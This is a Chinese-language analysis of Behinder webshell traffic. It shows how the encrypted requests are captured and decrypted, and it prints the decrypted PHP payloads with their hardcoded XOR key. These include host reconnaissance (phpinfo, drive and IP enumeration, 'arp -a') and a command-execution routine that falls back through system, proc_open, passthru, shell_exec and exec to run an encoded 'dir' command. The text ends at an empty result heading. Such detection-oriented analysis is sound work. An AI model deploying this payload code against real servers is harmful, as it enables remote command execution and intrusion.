冰蝎
流量分析
参考: https://www.freebuf.com/sectool/355425.html
使用 default_xor_base64 协议,上传生成好的 shell 文件,使用 wireshark 进行抓包。抓取冰蝎连接 shell 时的流量。在 wireshark 里,右键进行 tcp 流的追踪。
第一次请求

将加密的内容进行解密,得到如下代码。(解密操作可以在冰蝎的传输协议配置页面下方进行解密,中文有乱码)
<?php
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
$key = "e45e329feb5d925b";
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15];
} $bs = "base64_" . "encode";
$after = $bs($data . "");
return $after;
}
$content = "SndLeGxON2J3MUt3akFXSWZVR2pYbXJzNVFQTHF3VXI4UUNJTG52WVVWeDNJOTBobFNUbTNETTAxN0YybFRPS3BjQ3Z2NzNCa1phbFNWaHNQSmtYSmdEdHp0RTdQbFVCbm94QzNDbGtaVmJ1RGkwVGI0Q3NhbnFPdHJRS0p6M2JmUmFObWhYV0drYjJiaXB6c2xRMHNaZmJpTldkVlpNZVlQYkJJcnFzNlljZnlOZFpYUHRGa2doN1dGN3N1d1BaUHlHODJkSUlYWGF6dWhVQVBBZWZjSEhqSzhCTW9GRzVLSTNZYnppeGJzQjkxaktNNFlaSXF2RUcxOFluaFhxSUVQS2xUNG5DREJWa0o5TFBRdTRlS2ljWEM4MUpWTEtEVFg2V2NFRGMxaU8ydXdURXFjN1VjUFBJWVRLSFg3R0ZraEwzQWR0c05YT3oybGduYlZHZlUwQ1ZzcHU5VG03RUI5ZFk3cHBpd0FyVDNzNlNPQXJWRVNZUlprcFdFclNiZExYWUhabHVBM05vTnlsTkliS01XN2pyNFgxMm81MVJ5bnV2a3RCSEdHR2pCM3BSREkyTW9wM2UwUWRQSlJxWjNwdTRjZlpZUlMyd0ZYWnpsMlBkY2J4TXd2aVJyVkk2U0twWDdiVHFhbjIyWVlUZ05yNzhPbnNjSDZhV2hBZU82ODVjc0hTV3Vid0Zhd1drNGJ6RmFuV0JiOTM1eEZJdmVIbFZDV1BnR3BZTklJTlFaT2VRUXRzTkhjNmZDUlZrZnJtNGZRYmdyR1hWZUtPTG13T2FKWGRoWnB0VWpudjJhY0FFZ2kyaG9rNHhKUmYxNjlESHpPYlkwZndjYzVBY0lkMzluVGNSb2s5RmdHMWpKODcwcmk2amdhNmhEVzZkU28ySTFXVkd1YW1KcENWNFZyUnRDMkZHTzhvRk9tTXp6NTA3MjgycXYyam1jMnhIcjhzd3FSTHFsaUdwSHBiOFd1VDBybmtjNjVWMlJPdXExM0NkMGVla3VEb05PVG9CWExMcTJvQ1p1cEwxMEZ0MUg0ZlNod2Z1TWx6NkpZcU96RlVadGdMbUJ4RjZ6SXdnMnlTT25PaEdFSGIyTzFydGVPMWJFV0pkV1cxeG1hNklYbENnZ200NUxsYUx2Q1VBVEFmYVRGdTdSOXFLYUN0cjdWY0FnUFFETTM0VURnbnF1RE03Z21FckhyUHJ3WVZwcDZOakhnc093MkhndlE1WUlURUdMTm1WMkllaG03N2h4VXFBQm4xQ1lNMm1iT2g5b3lnNU1YRm9SdEoxRnVxY1Q0VkdTYXJwbmppcjZCenhmNEVyYlhvSmprNmZzYWZjR0N2RkZtZFZSTEFRODNNeDFxR0FOaDdXSHBNdDN1d09ZMjA1Tm5xTFBTOXUwRUVtbXU0Y29GWXdrNnk1UDJkNWpBeTYwb0tBSHh4QWV0eHFwZ3V1clV4NFZtb25ZTEhPOGc5bnplUmlLYmNQOTFGb1RKWTRVWWEwbkQwdEFIbmdUSmluNDNNZWVlaE92TzRQR2RLbzNzM25qSER3dmdiMXhhMlBJS3FzNkRFa3VNT2pva3RuZm5iazhhTnpQZWNxblBEN3R3cnRVOFZDWXJvZjhNUUhHTmNndEFHUVEzamJHeUkwV1kxSVBTYmpuWWpvUm5raXNwaHh6SlpGU1NVOTQ5cnYzMTdkak5tUnBXbXI0Ym9rMU5KOVFWckl4WHJWekh5Q2Vhc0ZUTWdrMFh2WTFJYnNvMU1PZExjMkxUbmYwc09IUFlkcGFtemZJNVc5YmZyQkFSVjdZZkFuazNMMldacHVNdGNlelhuVWZVdE13aUU2TjFxNmtKczc4WmJIYVVtRnBhVmJOYnNTUFIza1BiTGJaY1B6ZHFKTDFPek5aQmhiR0tmcWNmOUZzeFJUTUk5WVdzV2RVOFBUaFM0UWhKT2R6aHRYVXBzVFhTaXg4Vk9CT1dkdGUwWXZKYlBMMkRMQkV5dWRVMzl1VzRQdks1Z2JrVk1TZUxKanI2aHJORk1hM3hnVkVoNG1NNWV5SHdmSGhJa2xtOWsyODBHSURlb0hLUDl1TVo2ZWV3am4zMm15TG1jNG1pWHVoWkV4MVc2OUtJTUxEak9EYXdFZDBQeXZ6cjVhRFAzZnFLRU4zZUIwVjBEd2hQQ3JaaElrcGJqVXpHSlRpTURBTWNCNEVvWjBRa2pORlFiczR6b0tUeFlyNHNBT3Y=";
$content = base64_decode($content);
main($content);
第一次响应
在冰蝎的传输协议下方将响应内容进行解密,得到 status 和 msg 。
status 解码:success
msg 和第一次请求中的 content 是一样的。
{"status":"c3VjY2Vzcw==","msg":"SndLeGxON2J3MUt3akFXSWZVR2pYbXJzNVFQTHF3VXI4UUNJTG52WVVWeDNJOTBobFNUbTNETTAxN0YybFRPS3BjQ3Z2NzNCa1phbFNWaHNQSmtYSmdEdHp0RTdQbFVCbm94QzNDbGtaVmJ1RGkwVGI0Q3NhbnFPdHJRS0p6M2JmUmFObWhYV0drYjJiaXB6c2xRMHNaZmJpTldkVlpNZVlQYkJJcnFzNlljZnlOZFpYUHRGa2doN1dGN3N1d1BaUHlHODJkSUlYWGF6dWhVQVBBZWZjSEhqSzhCTW9GRzVLSTNZYnppeGJzQjkxaktNNFlaSXF2RUcxOFluaFhxSUVQS2xUNG5DREJWa0o5TFBRdTRlS2ljWEM4MUpWTEtEVFg2V2NFRGMxaU8ydXdURXFjN1VjUFBJWVRLSFg3R0ZraEwzQWR0c05YT3oybGduYlZHZlUwQ1ZzcHU5VG03RUI5ZFk3cHBpd0FyVDNzNlNPQXJWRVNZUlprcFdFclNiZExYWUhabHVBM05vTnlsTkliS01XN2pyNFgxMm81MVJ5bnV2a3RCSEdHR2pCM3BSREkyTW9wM2UwUWRQSlJxWjNwdTRjZlpZUlMyd0ZYWnpsMlBkY2J4TXd2aVJyVkk2U0twWDdiVHFhbjIyWVlUZ05yNzhPbnNjSDZhV2hBZU82ODVjc0hTV3Vid0Zhd1drNGJ6RmFuV0JiOTM1eEZJdmVIbFZDV1BnR3BZTklJTlFaT2VRUXRzTkhjNmZDUlZrZnJtNGZRYmdyR1hWZUtPTG13T2FKWGRoWnB0VWpudjJhY0FFZ2kyaG9rNHhKUmYxNjlESHpPYlkwZndjYzVBY0lkMzluVGNSb2s5RmdHMWpKODcwcmk2amdhNmhEVzZkU28ySTFXVkd1YW1KcENWNFZyUnRDMkZHTzhvRk9tTXp6NTA3MjgycXYyam1jMnhIcjhzd3FSTHFsaUdwSHBiOFd1VDBybmtjNjVWMlJPdXExM0NkMGVla3VEb05PVG9CWExMcTJvQ1p1cEwxMEZ0MUg0ZlNod2Z1TWx6NkpZcU96RlVadGdMbUJ4RjZ6SXdnMnlTT25PaEdFSGIyTzFydGVPMWJFV0pkV1cxeG1hNklYbENnZ200NUxsYUx2Q1VBVEFmYVRGdTdSOXFLYUN0cjdWY0FnUFFETTM0VURnbnF1RE03Z21FckhyUHJ3WVZwcDZOakhnc093MkhndlE1WUlURUdMTm1WMkllaG03N2h4VXFBQm4xQ1lNMm1iT2g5b3lnNU1YRm9SdEoxRnVxY1Q0VkdTYXJwbmppcjZCenhmNEVyYlhvSmprNmZzYWZjR0N2RkZtZFZSTEFRODNNeDFxR0FOaDdXSHBNdDN1d09ZMjA1Tm5xTFBTOXUwRUVtbXU0Y29GWXdrNnk1UDJkNWpBeTYwb0tBSHh4QWV0eHFwZ3V1clV4NFZtb25ZTEhPOGc5bnplUmlLYmNQOTFGb1RKWTRVWWEwbkQwdEFIbmdUSmluNDNNZWVlaE92TzRQR2RLbzNzM25qSER3dmdiMXhhMlBJS3FzNkRFa3VNT2pva3RuZm5iazhhTnpQZWNxblBEN3R3cnRVOFZDWXJvZjhNUUhHTmNndEFHUVEzamJHeUkwV1kxSVBTYmpuWWpvUm5raXNwaHh6SlpGU1NVOTQ5cnYzMTdkak5tUnBXbXI0Ym9rMU5KOVFWckl4WHJWekh5Q2Vhc0ZUTWdrMFh2WTFJYnNvMU1PZExjMkxUbmYwc09IUFlkcGFtemZJNVc5YmZyQkFSVjdZZkFuazNMMldacHVNdGNlelhuVWZVdE13aUU2TjFxNmtKczc4WmJIYVVtRnBhVmJOYnNTUFIza1BiTGJaY1B6ZHFKTDFPek5aQmhiR0tmcWNmOUZzeFJUTUk5WVdzV2RVOFBUaFM0UWhKT2R6aHRYVXBzVFhTaXg4Vk9CT1dkdGUwWXZKYlBMMkRMQkV5dWRVMzl1VzRQdks1Z2JrVk1TZUxKanI2aHJORk1hM3hnVkVoNG1NNWV5SHdmSGhJa2xtOWsyODBHSURlb0hLUDl1TVo2ZWV3am4zMm15TG1jNG1pWHVoWkV4MVc2OUtJTUxEak9EYXdFZDBQeXZ6cjVhRFAzZnFLRU4zZUIwVjBEd2hQQ3JaaElrcGJqVXpHSlRpTURBTWNCNEVvWjBRa2pORlFiczR6b0tUeFlyNHNBT3Y="}
第二次请求
解密后的代码
error_reporting(0);
function main($whatever)
{
$result = array();
ob_start();
phpinfo();
$info = ob_get_contents();
ob_end_clean();
$driveList = "";
if (stristr(PHP_OS, "windows") || stristr(PHP_OS, "winnt")) {
for ($i = 65; $i <= 90; $i++) {
$drive = chr($i) . ':/';
file_exists($drive) ? $driveList = $driveList . $drive . ";" : '';
} } else {
$driveList = "/";
} $currentPath = getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo = PHP_OS;
$arch = "64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
} $localIp = gethostbyname(gethostname());
if ($localIp != $_SERVER['SERVER_ADDR']) {
$localIp = $localIp . " " . $_SERVER['SERVER_ADDR'];
} $extraIps = getInnerIP();
foreach ($extraIps as $ip) {
if (strpos($localIp, $ip) === false) {
$localIp = $localIp . " " . $ip;
} } $basicInfoObj = array(
"basicInfo" => base64_encode($info),
"driveList" => base64_encode($driveList),
"currentPath" => base64_encode($currentPath),
"osInfo" => base64_encode($osInfo),
"arch" => base64_encode($arch),
"localIp" => base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key); echo encrypt(json_encode($result));
}
function getInnerIP()
{
$result = array();
if (is_callable("exec")) {
$result = array();
exec('arp -a', $sa);
foreach ($sa as $s) {
if (strpos($s, '---') !== false) {
$parts = explode(' ', $s);
$ip = $parts[1];
array_push($result, $ip);
} //var_dump(explode(' ',$s));
//array_push($result, explode(' ', $s)[1]); }
} return $result;
}
function Encrypt($data)
{
$key = "e45e329feb5d925b";
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15];
} $bs = "base64_" . "encode";
$after = $bs($data . "");
return $after;
}
$whatever = "RTBlREd1QlVUUHdkRE5FbDlEWXJXZE10dklRdHNWSE1yRE9UZk1MZzFIVWdsekRFc2NDTkZkeHhhZjBnN29EWndkcFh3bmh4OEs3eEducWF6Skk3eUxhS1hNeDB3UzNDZU5MT1V6TTI4YVFjM0JwN2g3OWt6Qm5DU2Rzc1dWNkprQnRNd2dpTGhqYVdmNHdpN2RiWkp4WW9ORndpVGFWbEVJdFU4U2VrYlIxY05ZS0RES3FtOWt0N1lrRFI0clV3VktmcHlKMFlFZkxNRVVHbllQaGI2U2VSOVp4ZWc4ODhJSHNxZktPdm54YVY0Sm9jVm9GVVVpU0lZRjcwOEZyWW5WMThaRkJUYlliUzdXRVN3c2FEUm85T2FXRzd2bVpBbk9WdE00ZHdlYjVaMmExVHlXNXM0V1kwVkJzWDhyZnJ3WHJ4NU1kUkxkTFpseEhSOUVhQmFsM0k4SHJtOGxxTm0ySzNXc0EwTzQ3OVppVW5WTnFZMmNzdU4zS3cwZ3VVVFpGQ0N3d1h5WkhuVGJsOWdwZW54OWN2YmFxZFZHcFA1NFZOZUxmOXJtcWtYUVJxc3RVaTVKblhnQm8xZ0llT1VVNFJCVGoyVXR2eGFkcXN4MWNoMGprc1ZJYTdPM2w3NlYxRW5NajBuR3JmMDVtUjlYdFFwakU0cjBJVGx4Z29uc0xYbU55Z2F6b3lza29haXlVMjVxMHlBejM3NlIwQkJhYTlIWVcwMWpvNTNtT1RXVzd2cEtMZWFiRVN4elFoNmlDNlZJSndPbTJka3ZIUXJjVGRkeXdVOVdVbE4zQ0ZlOTJ1blFMTGZiYndDcnRwUHl2SGd3QkRoMUY1S2RnMFJ6eHFBYmJGYzVIUGFqSUJlWVpXbEsybjRaZjlyVWJBYnhtbWU2ZTJYeEFOdnEzTVAzWE50ZkxDc05QUmcwVGR4dk5DRjFVZlk4ZFFiY3pnTTF3MFMxeUpTeWtmTG4yOW5kY3l5dlJjUHN6ckpNMEVrbERONllOaVJGd2lKdGJKd3BVMENBdXBlbU1iZDlDU2ZydTJPZVN6ZGxaVjlFRnNibWJnQUNZckMzVFFHRFVjT01LNlY1MGx2c09ydWhzbHdPdUtvZHIyRFN4cnFSU0ZUYmE5NEI3OGVoaVpOR1NjMkZrMEJZaFNneTRoU204REdzdVVTMG40dUxIdjV6ZzltMXo0VDNBOVREQURHeUZXTHdNdmJiUksybEt1enNZ";
$whatever = base64_decode($whatever);
main($whatever);
第二次响应
在冰蝎的传输协议下方将响应内容进行解密,得到 status 和 msg 。
复制下方的 msg 内容,使用 base 64 进行解码。解码后会得到 basicInfo 字段,复制这个字段的值在进行一次 base 64 解码,就得到明文数据了。(msg 字段太长了,下面只是开头的一小部分,可以解码一小部分)
{"status":"c3VjY2Vzcw==","msg":"eyJiYXNpY0luZm8iOiJQQ0ZFVDBOVVdWQkZJR2gwYld3Z1VGVkNURWxESUNJdEx5OVhNME12TDBSVVJDQllTRlJOVENBeExqQWdWSEpoYm5OcGRHbHZibUZzTHk5RlRpSWdJa1JVUkM5NGFIUnRiREV0ZEhKaGJuTnBkR2x2Ym1Gc0xtUjBaQ0krQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajQ4YUdWaFpENEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S1ltOWtlU0I3WW1GamEyZHliM1Z1WkMxamIyeHZjam9nSTJabVpqc2dZMjlzYjNJNklDTXlNakk3SUdadmJuUXRabUZ0YVd4NU9pQnpZVzV6TFhObGNtbG1PMzBLY0hKbElIdHRZWEpuYVc0NklEQTdJR1p2Ym5RdFptRnRhV3g1T2lCdGIyNXZjM0JoWTJVN2ZRcGhPbXhwYm1zZ2UyTnZiRzl5T2lBak1EQTVPeUIwWlhoMExXUmxZMjl5WVhScGIyNDZJRzV2Ym1VN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTm1abVk3ZlFwaE9taHZkbVZ5SUh0MFpYaDBMV1JsWTI5eVlYUnBiMjQ2SUhWdVpHVnliR2x1WlR0OUNuUmhZbXhsSUh0aWIzSmtaWEl0WTI5c2JHRndjMlU2SUdOdmJHeGhjSE5sT3lCaWIzSmtaWEk2SURBN0lIZHBaSFJvT2lBNU16UndlRHNnWW05NExYTm9ZV1J2ZHpvZ01YQjRJREp3ZUNBemNIZ2dJMk5qWXp0OUNpNWpaVzUwWlhJZ2UzUmxlSFF0WVd4cFoyNDZJR05sYm5SbGNqdDlDaTVqWlc1MFpYSWdkR0ZpYkdVZ2UyMWhjbWRwYmpvZ01XVnRJR0YxZEc4N0lIUmxlSFF0WVd4cFoyNDZJR3hsWm5RN2ZRb3VZMlZ1ZEdWeUlIUm9JSHQwWlhoMExXRnNhV2R1T2lCalpXNTBaWElnSVdsdGNHOXlkR0Z1ZER0OUNuUmtMQ0IwYUNCN1ltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0l6WTJOanNnWm05dWRDMXphWHBsT2lBM05TVTdJSFpsY25ScFkyRnNMV0ZzYVdkdU9pQmlZWE5sYkdsdVpUc2djR0ZrWkdsdVp6b2dOSEI0SURWd2VEdDlDbWd4SUh0bWIyNTBMWE5wZW1VNklERTFNQ1U3ZlFwb01pQjdabTl1ZEMxemFYcGxPaUF4TWpVbE8zMEtMbkFnZTNSbGVIUXRZV3hwWjI0NklHeGxablE3ZlFvdVpTQjdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2dJMk5qWmpzZ2QybGtkR2c2SURNd01IQjRPeUJtYjI1MExYZGxhV2RvZERvZ1ltOXNaRHQ5Q2k1b0lIdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpPVGxqT3lCbWIyNTBMWGRsYVdkb2REb2dZbTlzWkR0OUNpNTJJSHRpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqWkdSa095QnRZWGd0ZDJsa2RHZzZJRE13TUhCNE95QnZkbVZ5Wm14dmR5MTRPaUJoZFhSdk8zMEtMbllnYVNCN1kyOXNiM0k2SUNNNU9UazdmUXBwYldjZ2UyWnNiMkYwT2lCeWFXZG9kRHNnWW05eVpHVnlPaUF3TzMwS2FISWdlM2RwWkhSb09pQTVNelJ3ZURzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kyTmpZenNnWW05eVpHVnlPaUF3T3lCb1pXbG5hSFE2SURGd2VEdDlDand2YzNSNWJHVStDangwYVhSc1pUNXdhSEJwYm1adktDazhMM1JwZEd4bFBqeHRaWFJoSUc1aGJXVTlJbEpQUWs5VVV5SWdZMjl1ZEdWdWREMGlUazlKVGtSRldDeE9UMFpQVEV4UFZ5eE9UMEZTUTBoSlZrVWlJQzgrUEM5b1pXRmtQZ284WW05a2VUNDhaR2wySUdOc1lYTnpQU0pqWlc1MFpYSWlQZ284ZEdGaWJHVStDangwY2lCamJHRnpjejBpYUNJK1BIUmtQZ284WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTG5Cb2NDNXVaWFF2SWo0OGFXMW5JR0p2Y21SbGNqMGlNQ0lnYzNKalBTSmtZWFJoT21sdFlXZGxMM0J1Wnp0aVlYTmxOalFzYVZaQ1QxSjNNRXRIWjI5QlFVRkJUbE5WYUVWVlowRkJRVWhyUVVGQlFrRkRRVmxCUVVGQksybzVaM05CUVVGQlIxaFNSbGRJVWxSaU1sb3daREpHZVZwUlFrSmFSemxwV2xOQ1NtSlhSbTVhVmtwc1dWZFNOV05qYkd4UVFVRkJSRFJDU2xKRlJsVmxUbkp6YmxoMGQxaEdWV1I0T0M5a1FrZHBhRzFGTWpGUlEzSlJSRmsyYjFwYWVXdHZiaTluV1RWeGFYcHFaMDB5UzFGTlpucEdRVTlwYjA5Qk5VdEZhQ3RxTkZJNWIxcElOM3BVTmsxQlRVdHlUbkJvV2taVFVYSmxTMGhTWjFwdGMzQk1TRk5EU2pKRGJ6WjBRblJLYXpkYWNITTNkRXB6TlhRNU5VWTFMek16VUhaWFZUUXlPVE5HTWpsNVltUnNVSHBoVFROa1pqSllVSFlyV25wbU5DOTZUM1ZYWXpGMGEycHNLMVF3U0ZFelUxRkRObE5DVTJ4RU5sZExUalJ5ZFhOSGJUbEdNWEJ6TDI4MWJWQnlhVTltT0dSa01GbHZUbVpwTUc1ME5HNTBRakZRVkRSNldYZDZVV3RtTTJ0U09TOXpWelI0ZEhCVE1FTnRSVEJUZVZCVlJsVktXRVpOU1hoYVkwMHdha0ZhTkhoeVMwMTFaRkZVTnprMk0waENSakJ1TmtWaFZXcHJVREIyU1RsTE9VOUZTRmR4U2t4clRsY3hjemh0UXpKWFoxWlVkMGRCY1ZkVVlXWktlbFJYVkV0YWJWRjFXaTlyTVUxd1FXa3lLMlY1Y3padGNGZG1WbUZCVUhwalNVeDFPRVZXUzI5RFFXRlpSblJRZUhKQldHODRjWGxPZDNwYVl6ZG5VMmQ2WjA0NVNIZ3dSV051TTJvNGVISTBiSGxJVDJoT2NteHdZVXBKWjNCMFRUVkVha05rZW5KS01FcHRZMlUyWWxkR2EwOXdjWE13VFVWeVFUUm5XRWxDZFVGdFdUVXpaMFp0VDFCRFkyUmhWRmhEWW5FcmJqRTJVRkJNV0dwbGQwMW1SMk5uUlhSMFJVTmxiM1ZVY0dzMVRYQnNhSGxMYzFCQ1ZHbFlUbGw1VlV4MGQwbFhOME40TVhac2QzVktlVVJNVWpsTU1HMVJhVlpRWWpJM1ptaEJOVFI1UW1KSGRIUk5jR014VDFkM1JqRmpiVXRoU0RKR1UwWTNka0ZxUjJWNlQxcGFTbG81YWpCa1NWcHNUV2h1ZFZKcFZHOU5UekJqSzA0MFdEZHZhM05oYzJkRmREbFlVekpMV2tOSWVtOWxiVEpKZUhFMWVuQkJkVVJVY1ZSU01UUkdUWE5zV25sbGNHVkZTVFJQWjJveU5tNHdka3hxTXpOMWFXbG5SWGhuVFZkU2NIUXJRMGREYzBWbFVGcHhiMlZRVFRjek9FSlFWR0ZLZWxRM1EzQlZNRzUxTVhsWWNFRllRME16Vm1WU2EwTlhOR0ptU2xsR1dtODJaRzFLZVZGVVZ6SjBkbHBqTVc1aU56RTVhWGxhVjJNMVptMWFOazl6ZFRaSU0zVldlbWwwTlRKdlFtNU5iR3d5V1dsNlIzaHJPRzExUmxwTVFYTm9ZaTlaUzNSNlVXUmpZVTh6V1RKRFVUZGxhWGtyV1U1SGRreE9LelFyYmtwbGRHMHpZbmhvUzBwNFNub3pNVFo0V25jeGNHSlhPV3RNWlhjcmR6RTVORFJZUWtWaFVHbzJaVmxEWlU5NE1XZHhUbVV3TjJKTE1VMTNTVVJpUzJOUFJrOVNORGxIZFdWUVZEVm1ZMlpQVFZneVpISlFXR05STUhwbU4za3lkSFppVjFaa1dFWXZkakZyTWl0NVVUUmtVRlp3VVRWUU1GVnRMMDVxYjBOWU5sVkNUVVphVWpackszVTNjVTFaVmtKWlJFbEZjVUpYTjJWWVFXWlFXbGd4T1hwd01pOXZZVWRDU0hselRrMUhWRVpwYmxCYWFXczVabGRuWjJKSk5VOXRZakV6ZWxWRVpVSXpiRXh6WkhkaFN5OVpVR1Y1UVVaVk1HazRRWGM1THpKRWQzbDRORk5RYWtaUlJWbFZiR1l6VFZSWmR6UktlRGREU1ZaRFlraFNNRzl4U1VST1RVUXJSazFISzFwRk1HUlBMM1J6U0d4MlFWZHVXVk0yU0RSeGFtWk5ReXRhYkdRdmQyYzVNaTkwZFhZeVYyVmxXVlE0TjJvclNESmhSa1I0ZVhOSFRIVlRlU3R2TDNvME9VUlJhMDlPYm0xd2NXRXlUV3BTZVc5WmMxcFBXRXRIYm1JMVdpdDJXbkZzVlhKNFZYTkJka2s1UVhRdmIwc3JaV3h1UW5CdlRuY3JSR0ZwT1ZSbGExTk5lRVJ5WjFOb01FdHlVMWx6YUZSd2NtTXlUbWh2VW1ZeFNuUnNhV3R4YVhKQlZtdzVPRUZrWkhOVFlYWkVRa1J5YzBNclVXUlVOeTlVVTI5Q016UTBkSHBQV2pNNUt6Y3dVbUp3YjNKV1pYSnhZWE41ZHpGTlJXNURPR2xXTmtrNVZsUkVhVEIxY1dKdFpsQkdVM0V5Vnl0bmVWVklXSFZGWkdJelYxSTFjbUZpTldwdVJETnBMMEpPVFU0NFEyaE9ZWEZ6VkdsTFlUVTFTMjFDVjFnclZIVnFNRmhSWkZGV1JqTXdOMjVvVkVnd1ExQnNjeXRQTUZWUVltRlVOVlJSUnk4NGNWZzJPSFUyVEhCV05qZE1VVFprVG10dVlWbG5ZVmw1VUVSNE1sUjZkbGxIUTNOdWFGSnJTRGhpTDNKelJqSkhSR294VFVOSmJtdDJlSFpTYWs5MVExVnNhWEJYUkM5NmNrdDROMXBQZDBKR01IWm1VMU5OTWxOb2VXRnhRVUZQUXpGT2R5dDZkRGt2TlZsT1luSk9NWHBtZDBsa2NHWm5ibkZsWW5ZdlFUWndibGRCYmpSeGJGY3hTRkJuU0ZFMlQyVnZSek5PT1ZKUEx5dFRkRTFrUkhSdFZqSk1lRXBRWmtKd1VVTkhabmRVWjNKV2RUTTRha1p5UzJGWE1uUndXblF5VEVOQ1pGaFNNSE5GWjJ0M2FIWXlNWFU1WTNoUmMzbFhNMXBDTVN0RVoyOVBUVFUwWW5SVk5uUjFPR1ZVVUhJMlpXeG9lVFZtY2pkSldrNUVaWGtyWlRjMlpUa3Zaa05NWTBGc2JFaHdaRXRMYVc1d1lWVnNXRGdyTVRFeGVFSTVWbnBPY2xsNGNWVkJXUzlZVmxaV1NsbE5UMlZyVEhVeVprWkhUVGhXVjFsUlVsbHBXV3RWT1dKRU5IWlFiRWhHV1c1SU5DOTZkbXRpTVVObmQwRkRTR2ROYjFWd1pIbDNNM05HV0dOWVZXZzBXVWhoVGxOSVJIRmhlR1JNTldwM1ZsUllRbkJsV0ZaWk9XOUdNMUpqVlZFclR6QTVUbFEzUTJGNVpteGtLelJTU214UU5ESm5WRWx4T0hjMk5sRm1MMWcwWVRaR1ZGTlRUVTFFWTJGRkwwNW9XV1ZqVFUwclRXUjVSemt3VDBGb2IyUlhiMEZIYTFSVllWTmFRbmxQTlZka2FVRTBSM0YzVTNSeWNrMDJhelYyUmt0RldGRnpaWEp5TmpOc04yOVNOVll3VGtKdmFrdGpkR0ZUV25SaWJtVkZjazkwUjIxR2VIZHJSMlYzYW1zd1ZYcHdRMVZzU2xOSlVuRk5ZMnBPT0VOclNFeEVjWGxTUW5seE1GQkZSMEpDYUVSdFpHbzNjbEZXZFdwQllVeG1jbkpzYXpkNGVW
第三次请求:执行 dir 命令
解密后的代码
@error_reporting(0);
function getSafeStr($str)
{
$s1 = iconv('utf-8', 'gbk//IGNORE', $str);
$s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
if ($s0 == $str) {
return $s0;
} else {
return iconv('gbk', 'utf-8//IGNORE', $str);
}}
function main($cmd, $path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (!empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
} $c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
} $JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
$kWJW = NULL;
while (!feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
} @proc_close($handle);
} else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (!feof($fp)) {
$kWJW .= fread($fp, 1024);
} } @pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
} $result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key = "e45e329feb5d925b";
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15];
} $bs = "base64_" . "encode";
$after = $bs($data . "");
return $after;
}
$cmd = "Y2QgL2QgIkM6XHBocHN0dWR5XFdXV1wiJmRpcg==";
$cmd = base64_decode($cmd);
$path = "QzovcGhwc3R1ZHkvV1dXLw==";
$path = base64_decode($path);
main($cmd, $path);
第三次响应:dir 命令结果
响应结果:
